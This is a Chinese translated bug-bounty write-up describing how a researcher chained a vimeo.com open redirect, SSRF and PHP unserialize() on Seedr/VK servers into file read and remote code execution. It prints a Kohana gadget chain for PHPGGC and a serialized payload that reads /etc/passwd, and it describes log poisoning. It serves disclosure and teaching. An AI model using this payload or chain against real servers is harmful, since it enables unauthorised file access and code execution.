白帽故事 · 2024年3月19日

一周三步曲:从开放重定向到远程代码执行!

背景介绍

今天来讲一位国外白帽子在VK(也就是Mail.Ru集团) 发现并利用一系列漏洞,最终在一周内成功实现远程代码执行(RCE)的故事。时间大概发生在2021年10月,当时我们的故事主角发现了几个简单的XSS漏洞,他选择了先不上报,因为他认为这种漏洞的重复率可能会很高,而且观察其他白帽子以往提交的漏洞报告时,会发现基本聚焦在以下几类漏洞:

  • API RCE
  • FastCGI的SSRF + RCE
  • 存储型XSS
  • Seedr.ru上的命令执行漏洞

引起注意的功能点

12月份时,我们故事的主角在另一个国家度假,于是他趁着闲暇之余开始重新审视这个项目,他注意到了一个特别的功能,该功能的HTML源码可以允许服务器根据hosting GET参数的值下载视频的元数据,有了这个发现,他开始去寻找可能的攻击场景。

https://api-stage.seedr.ru/player 页面的 HTML 源代码中,我注意到了一段注释:

img

https://player.seedr.ru/video?vid=cpapXGq50UY&post_id=57b6ceef64225d5b0f8b456c&config=https%3A%2F%2Fseedr.com%2Fconfig%2F57975d1b64225d607e8b456e.json&hosting=youtube

看到这串URL,你是不是有忍不住要测试各个参数值的冲动?是的,我们的主角也是这么想的,但经过几次尝试后并没有获得任何有用的信息,于是他继续尝试其他参数,当打开https://player.seedr.ru/video?vid=cpapXGq50UY&post_id=57b6ceef64225d5b0f8b456c&config=https%3A%2F%2Fseedr.com%2Fconfig%2F57975d1b64225d607e8b456e.json&hosting=youtube时,白帽小哥观察到响应包中,Open Graph meta标记填充了一些有关视频的信息,如视频的标题、描述、图像等:

img

经过测试,发现到 **post_id****config** GET 参数对响应没有明显的影响,那么我们可以将URL简化为:

*https://player.seedr.ru/video?vid=cpapXGq50UY&hosting=youtube*

那么假设播放器不太可能只支持 YouTube,如果 **hosting** GET 参数更改为 coub 和 vimeo的话:

img

img

因此根据 hosting GET 参数的值,服务器使用 **file_get_contents()** 向 YouTube、Vimeo 或 Coub API 执行了 HTTP 请求,下载有关视频的元数据 ( **vid** GET 参数),解析并返回包含该视频和填充的 Open Graph meta标记的播放器 HTML 页面。

vid GET 参数是一个注入点,可以在 file_get_contents() 中控制路径的最后部分,也可以使用路径遍历( /../ )和其它一些有用的符号( ?#@ )。

更有趣的是,在 Vimeo 服务器向 http://vimeo.com/api/v2/video/VID.php 发出请求的情况下,可以在前面的屏幕截图中注意到它,事实证明,当使用路径中的 **.php** 扩展名时,Vimeo 返回的不是 JSON 字符串,而是序列化字符串!

img

假设在 file_get_contents() 之后,服务器对 Vimeo 的响应使用**unserialize()**

img

那岂不是存在反序列化漏洞?

三种可能性

  1. file_get_contents() 进行模糊测试以绕过 vimeo.com 主机,实现 SSRF 盲注以及可能不安全的反序列化
  2. 在 vimeo.com 上找到受控响应 -> 可能不安全的反序列化
  3. 在 vimeo.com 上查找开放重定向 -> SSRF 盲注 -> 可能不安全的反序列化

经过几个小时对 vid GET 参数进行不同的修改并在本地对 file_get_contents() 进行模糊测试后,白帽小哥没有发现任何有用的信息,于是他决定与几个值得信赖的小伙伴分享有关该漏洞的所有信息。

经过尝试,第一种和第二种方案均宣告失败。

开放重定向(Open Redirect)

当尝试利用该漏洞时,白帽小哥一直谨记 Harsh Jaiswal (@rootxharsh) 在 vimeo.com 上发表的有关 SSRF 的文章(https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e),该发现大概发生在 2019 年,所以这些开放重定向基本已经被修复了,但这可能是白帽小哥最后的机会,因此他决定以这种方式继续挖掘。

白帽小哥在尝试失败后,最终还是向 Harsh Jaiswal 虚心请教,Harsh Jaiswal 很爽快的分享了一个有效的开放重定向链接,该链接与白帽小哥假设的相同,但不同的是,该重定向链接拥有正确的 GET 参数值,从该链接中,白帽小哥了解到这并不是 vimeo.com 上的安全问题,而是一个真正的功能。

img

好的,现在白帽小哥在 vimeo.com 上拥有了一个有效的开放重定向链接,继续尝试:

img

终于成功收到了 HTTP 回应,但是在开始反序列化利用之前,白帽小哥决定先玩一下 SSRF:

img

由于 file_get_contents() 的响应直接发送到 unserialize() ,因此无法实现完整的 SSRF,但至少目前已经有了能够执行端口扫描的半盲 SSRF:

img

反序列化实现

成功利用 PHP 中的不安全反序列化需要什么?

  • ̶C̶o̶n̶t̶r̶o̶l̶l̶e̶d̶ ̶i̶n̶p̶u̶t̶
  • 具有神奇方法的类( **__wakeup()****__destroy()****__toString()** 等)
  • 对攻击者的神奇方法很有用,可以被用于文件操作、RCE、SQLi 等
  • 并且类已加载

正如以上所示,白帽小哥对主机的后端代码一无所知,因此利用反序列化的唯一方法就是尝试所有已知的利用链,为此,白帽小哥使用了很棒的工具 PHPGGC,它是 PHP unserialize() Payloads的库以及生成它们的工具,在被利用时,它有近 90 个可用的Payloads,其中很大一部分是针对不同的 CMS 和框架,如 WordPress、ThinkPHP、Typo3、Magento、Laravr 等,这些对白帽小哥目前的案例来说基本毫无用处。

于是白帽小哥将赌注全部押在了 Doctrine、Guzzle、Monolog 和 Swift Mailer 等常用库上,他使用 PHPGGC 预先生成了所有可用的Payloads,将它们托管在受控服务器上,然后开始暴破,但是都遇到了同样的错误:

img

[!NOTE]

发生错误的原因是序列化字符串内部存在对尚未包含的类的引用,因此触发了 PHP 自动加载机制来加载该类,但由于某种原因失败了。 © Sven

这个 PHP 脚本非常原始,不包含任何可以使用的附加类,很难过,但又不得不承认这个残酷的结果…

基本上故事到这里就结束了,但白帽小哥的内心有一种不甘,这一晚他彻夜未眠。

Kohana

几天后,一个偶然的机会,白帽小哥注意到了 PHP unserialize() 中有关释放后使用漏洞的信息,碰巧,player.seedr.ru 上的 PHP 版本已经过时,于是白帽小哥开始“研究”这块领域,在“研究”期间,他熟悉了Taoguang Chen的报告(https://twitter.com/chtg57),他向PHP报告了可能有几十个与 unserialize() 有关的问题,实际上,与内存相关的漏洞对白帽小哥来说依然是一个空白领域,但他依然尝试构造一些Payloads,在对本地环境进行一番测试后,他重返 player.seedr.ru,将Payloads托管在受控服务器上,发送请求,然后……

img

“什么?设备上没有剩余空间?真的吗,我才刚刚开始?但是,这看起来似乎不像是有关设备空间的默认错误”

“kohana”,这个词在白帽小哥测试期间曾多次出现,于是白帽小哥快速的去Burp Suite的历史记录中寻找有关Kohana的记录:

img

img

Seedr 和 Nativeroll 都是视频广告平台, Seedr 有一个老式的设计,所以白帽小哥猜它是在 Nativeroll 很久之前创建的,这两个平台均被 Mail.Ru 集团收购,可能以某种方式合并在了 HackerOne 上,因此,v2.nativeroll.tv/api/、api.seedr.ru、api-stage.seedr.ru、player.seedr.ru 共享着相同的代码库,愈加清晰了~

让我们重回美丽的错误页面,环境、包含的文件、加载的扩展——看起来很有趣,以下是单击”included files“链接后观察到的结果:

img

几乎有 90 个included files,实际上是加载了诸如 autoload.php 的不同类, Kohana 是某种 CMS 框架吗?是的。经过一番谷歌搜索后,可以发现它的 GitHub 存储库 https://github.com/koseven/kohana/ ,看起来早已被弃用:

img

为了准确地在 api.seedr.ru/video 上触发错误异常,白帽小哥从 http://vimeo.com/api/v2/video/123459.php 获取结果,并将 description 属性的值从字符串修改为数组。

img

a:1:{i:0;a:23:{s:2:”id”;i:123456;s:5:”title”;s:30:”London Tornado — The aftermath”;s:11:”description”;a:1:{i:0;i:1337;}s:3:”url”;s:24:”https://vimeo.com/123456";s:11:"upload_date";s:19:"2006-12-14 06:53:32";s:15:”thumbnail_small”;s:111:”https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_100x75";s:16:"thumbnail_medium";s:112:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_200x150";s:15:"thumbnail_large";s:108:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_640";s:7:"user_id";i:146861;s:9:"user_name";s:11:"wordtracker";s:8:"user_url";s:29:"https://vimeo.com/wordtracker";s:19:"user_portrait_small";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_30x30";s:20:"user_portrait_medium";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_75x75";s:19:"user_portrait_large";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_100x100";s:18:"user_portrait_huge";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_300x300";s:21:"stats_number_of_likes";i:11;s:21:"stats_number_of_plays";i:122560;s:24:"stats_number_of_comments";i:12;s:8:"duration";i:32;s:5:"width";i:320;s:6:"height";i:240;s:4:"tags";s:0:"";s:13:"embed_privacy";s:8:"anywhere";}}

在执行期间, htmlspecialchars() 函数期望得到的是 string ,但却得到了 array ,这就导致了错误异常,并部分公开了模板和堆栈跟踪信息:

img

img

正如所设想的,有一个autoload的自动加载脚本,在这些包含的文件中,白帽小哥特别强调了几个在反序列化过程中可能有用的文件:

  • Guzzle (/var/www/sentry/vendor/guzzlehttp/…)
  • Swift Mailer (MODPATH/email/vendor/swiftmailer/…)
  • Symfony (/var/www/sentry/vendor/symfony/…)
  • Sentry (/var/www/sentry/vendor/sentry/…)

在 api-stage.seedr.ru 上构建并测试Payload后,白帽小哥收到了新的错误,例如,在尝试使用 Guzzle Payload时会返回以下错误: FnStream should never be unserialized ,这表明该脚本使用了已经修补的版本:

img

而Swift Mailer 和 Symfony 也根本不起作用,对 Github 上的 Mustache 和 Sentry 代码的分析也没有任何结果,所以第三方库对白帽小哥也没有了任何帮助,那么是时候深入研究 Kohana 了!

在 Kohana 存储库中搜索神奇的方法,如 __wakeup()__destruct()__toString() ,结果均为空:

img

但是这个 Kohana 存储库有一个系统目录,它实际上是一个专用的 Kohana Core 存储库:

img

img

尝试在这个存储库中搜索神奇的方法。 __destruct()__wakeup() 几乎没有结果,但却有__toString() 的结果:

img

classes/Kohana/View.php 及其 render() 函数立即引起了白帽小哥的注意,白帽小哥过去有过一些PHP的后端开发经验,他曾用 Laravel 开发过几个项目,并且已经了解它的 MVC模式,为了渲染视图,Laravel 使用名为 Blade 的引擎,因为这样的渲染引擎通常会加载一些模板(文件)进行渲染,所以他猜想也许可以通过某种方式传递特有的文件或自建的内容来运行。

仔细观察 **render()** 函数,函数 **render()** 接受 1 个名为 **$file** 的参数,然后调用函数 **capture():**

public function render($file = NULL)
{
    if ($file !== NULL)
    {
        $this->set_filename($file);
    }
    if (empty($this->_file))
    {
        throw new View_Exception('You must set the file to use within your view before rendering');
    }
    // Combine local and global data and capture the output
    return View::capture($this->_file, $this->_data);
}

在本例中,函数 render() 不带参数调用,可以绕过 set_filename() 函数,该函数还检查 views 目录中是否存在 $file

public function set_filename($file)
{
    if (($path = Kohana::find_file(‘views’, $file)) === FALSE)
    {
        throw new View_Exception(‘The requested view :file could not be found’, array(‘:file’ => $file,));
 }
    // Store the file path locally
    $this->_file = $path;
    return $this;
}

因此,可以使用 $this->_file 变量调用 capture() 函数:

public function render($file = NULL)
{
    ...
    // Combine local and global data and capture the output
    return View::capture($this->_file, $this->_data);
}

正如注释 **capture()** 中所述,函数结合了本地和全局数据并捕获输出,例如,你可以呈现电子邮件模板文件并使用用户名作为其中的变量。

protected static function capture($kohana_view_filename, array $kohana_view_data)
{
    // Import the view variables to local namespace
    extract($kohana_view_data, EXTR_SKIP);
    if (View::$_global_data)
    {
        // Import the global view variables to local namespace
        extract(View::$_global_data, EXTR_SKIP | EXTR_REFS);
    }
    // Capture the view output
    ob_start();
    try
    {
        // Load the view within the current scope
        include $kohana_view_filename;
    }
    catch (Exception $e)
    {
        // Delete the output buffer
        ob_end_clean();
        // Re-throw the exception
        throw $e;
    }
    // Get the captured output and close the buffer
    return ob_get_clean();
}

**capture()** 函数接受 2 个参数: **$kohana_view_filename****$kohana_view_data** ,熟悉的童鞋们可能已经发现了反序列化过程中可能被滥用的函数:

**include()** !就像 LFI 和 RCE,那么可以完全控制 **$kohana_view_filename** 吗?答案是肯定的!因为 $kohana_view_filename 在上下文中是 $this->_file ,而 _file 是 View 类的属性。

class Kohana_View {
    // Array of global variables protected static 
    $_global_data = array();
    ...
    // View filename 
    protected $_file;  
    // Array of local variables 
    protected $_data = array();
    ...
}

现如今已经具备了成功进行不安全反序列化的所有要素:

  • 可以控制输入
  • 有一个View类的神奇方法**__toString()** 和一个有用的函数 **include()**
  • View类已加载

利用链

白帽小哥在本地为 PHPGGC 创建了利用链,随后将其提交并添加到主存储库中:

<?php
namespace GadgetChain\Kohana;
class FR1 extends \PHPGGC\GadgetChain\FileRead
{
    public static $version = ‘3.*’;
    public static $vector = ‘__toString’;
    public static $author = ‘byq’;
    public static $information = ‘include()’;
    public function generate(array $parameters)
    {
        return new \View($parameters[‘remote_path’]);
    }
}
<?php
class View 
{
    protected $_file;
    public function __construct($_file) {
        $this->_file = $_file;
    }
}

运行 PHPGGC 并得到以下序列化对象:

img

在受控服务器上托管Payload,然后发送请求:

img

新的错误,根据PHP文档:

The __toString() method allows a class to decide how it will react when it is treated like a string. For example, what echo $obj; will print.

所以应该以某种方式输出 View 对象,实际上,应该提供 View 对象作为标题或描述属性的值,这也是之前使用 array 触发错误异常的技巧,以下是最终的Payload:

a:1:{i:0;a:23:{s:2:”id”;i:123456;s:5:”title”;s:30:”London Tornado — The aftermath”;s:11:”description”;O:4:”View”:1:{s:8:”*_file”;s:11:”/etc/passwd”;}s:3:”url”;s:24:”https://vimeo.com/123456";s:11:"upload_date";s:19:"2006-12-14 06:53:32";s:15:”thumbnail_small”;s:111:”https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_100x75";s:16:"thumbnail_medium";s:112:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_200x150";s:15:"thumbnail_large";s:108:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_640";s:7:"user_id";i:146861;s:9:"user_name";s:11:"wordtracker";s:8:"user_url";s:29:"https://vimeo.com/wordtracker";s:19:"user_portrait_small";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_30x30";s:20:"user_portrait_medium";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_75x75";s:19:"user_portrait_large";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_100x100";s:18:"user_portrait_huge";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_300x300";s:21:"stats_number_of_likes";i:11;s:21:"stats_number_of_plays";i:122560;s:24:"stats_number_of_comments";i:12;s:8:"duration";i:32;s:5:"width";i:320;s:6:"height";i:240;s:4:"tags";s:0:"";s:13:"embed_privacy";s:8:"anywhere";}}

再次发送请求:

img

成功读取到了/etc/passwd内容!

Log 日志

本地文件包含在现代 Web 应用程序中相当稀有,而且可以将 RCE Payload存储到 include() 位置,最常见的技术有:

  • 文件上传
  • 日志(apache, nginx, mail, ssh, …)

img

img

  • /proc/*/fd, …; /proc/*/fd,…

img

  • 会话文件

img

经过了以上的种种尝试,很不幸,均告失败。

那么重回“设备上没有剩余空间”的相关错误提示:

img

从该错误中,可以提取到某个日志文件的路径: /application/logs/2021/12/20.php ,当尝试在浏览器中打开 https://api.seedr.ru/application/logs/2021/12/20.php 后,却出现以下错误:“无法直接访问脚本”,实际上,Kohana框架中几乎每个PHP文件的开头都有这样一个字符串:

img

似乎无法直接从浏览器访问扩展名为 .php 的日志文件,白帽小哥在临时主机上进行了尝试 http://api-stage.seedr.ru/application/logs/2021/12/20.php,令他惊讶的是,收到了 404 HTTP 状态代码,于是白帽小哥将 .php 扩展名更改为 **.log** ,然后…

img

白帽小哥收到了巨大的日志文件,甚至一度让 Burp Suite ‘假死’,但这种技巧在 api.seedr.ru 上却不起作用,白帽小哥只能猜测 Seedr 开发人员对临时环境进行了一些更改,以便更轻松地访问日志文件,这就导致了安全问题。

还记得第一次触发错误异常是怎么发生的吗?下面是日志文件中关于它的记录:

img

经过对日志文件的简短分析后,白帽小哥决定使用记录投毒:

img

使用 PHPGGC,创建了一个带有 _file 属性 /var/www/t1.seedr.backend/application/logs/2021/12/20.log 的新序列化 View 对象,将其托管在受控服务器上,发送请求并收到以下错误:

img

似乎是因为日志文件太大(>200000 行),某些函数在 ? 符号上失败,引发异常并停止脚本的执行,从 PHP 文档可以了解到:

img

因为 12 月 20 日的日志文件被不成功的Payload破坏,因此该主机上的所有其它测试都没用,于是白帽小哥转移到了本地环境,使用 include() 和日志文件进行数小时的调试和测试并未得到预期的结果。

而后的某天早晨,白帽小哥想起了 Charlese Fol Laravel <= v8.4.2 调试模式的另一篇精彩文章:远程代码执行 (CVE-2021–3129:https://www.ambionics.io/blog/laravel-debug-rce),它采用了多个base64译码特性而忽略了非base64译码的技术,首先白帽小哥的想法是使用多个 base64 编码的 PHP Payload来投毒Log日志,然后使用 include() 函数内的多个 convert.base64-decode 过滤器对其进行解码,以使用 ? 绕过异常,但是白帽小哥忘记了下面这个限制:

img

由于日志文件路径 ( /application/logs/2021/12/20.log ) 是可预测的,白帽小哥下载了前几天的一些日志文件,并计划在 12 月 21 日开始对日志进行再次投毒。

为了不浪费时间,白帽小哥尝试在生产环境 api.seedr.ru 上利用他的发现,在 PHPGGC 的帮助下,白帽小哥再次创建了一个具有 _file 属性 /etc/passwd 的 View 对象,将其托管在受控服务器上,一切正常。 “但是,它只能适用于临时环境吗?”

空字节问题

当使用 PHPGGC 生成序列化对象时,白帽小哥对其进行了一些修改:

img

*_file 字符串有 8 个符号吗?不,它只有 6 个,通过在堆栈跟踪中,可以注意到以下内容:

img

受保护的 _file 属性的值为 NULL,但由于某种原因,View 对象在Payload中具有公共 *_file 属性,也许 PHP 专家已经理解了这种行为的原因,但白帽小哥不得不花一些时间来了解这个问题的所在。

正如 https://webhook.site/ 存储Payload的截图中可以看到,它是接收传入 HTTP 连接和托管Payload的快速且简单的解决方案,不幸的是,问题是在序列化字符串中存储受保护的值 PHP 在“*”符号周围使用空字符 (\0),这就是为什么 *_file 有 8 个符号的原因:

img

最后的投毒

第二天,白帽小哥通过以下请求重新对日志进行投毒:

img

生成Payload,托管于受控服务器后,再次发送请求:

img

是的,在本地测试后,白帽小哥忘记将 $argv[1] 更改为 $_GET[1] …只好再等一天,然后再次进行尝试:

img

成功!整个流程用下面一张图来概括:

img

更多RCE案例

以上内容由骨哥进行翻译并整理,希望你能有所收获~

英文原文:https://medium.com/@byq/from-open-redirect-to-rce-in-one-week-66a7f73fd082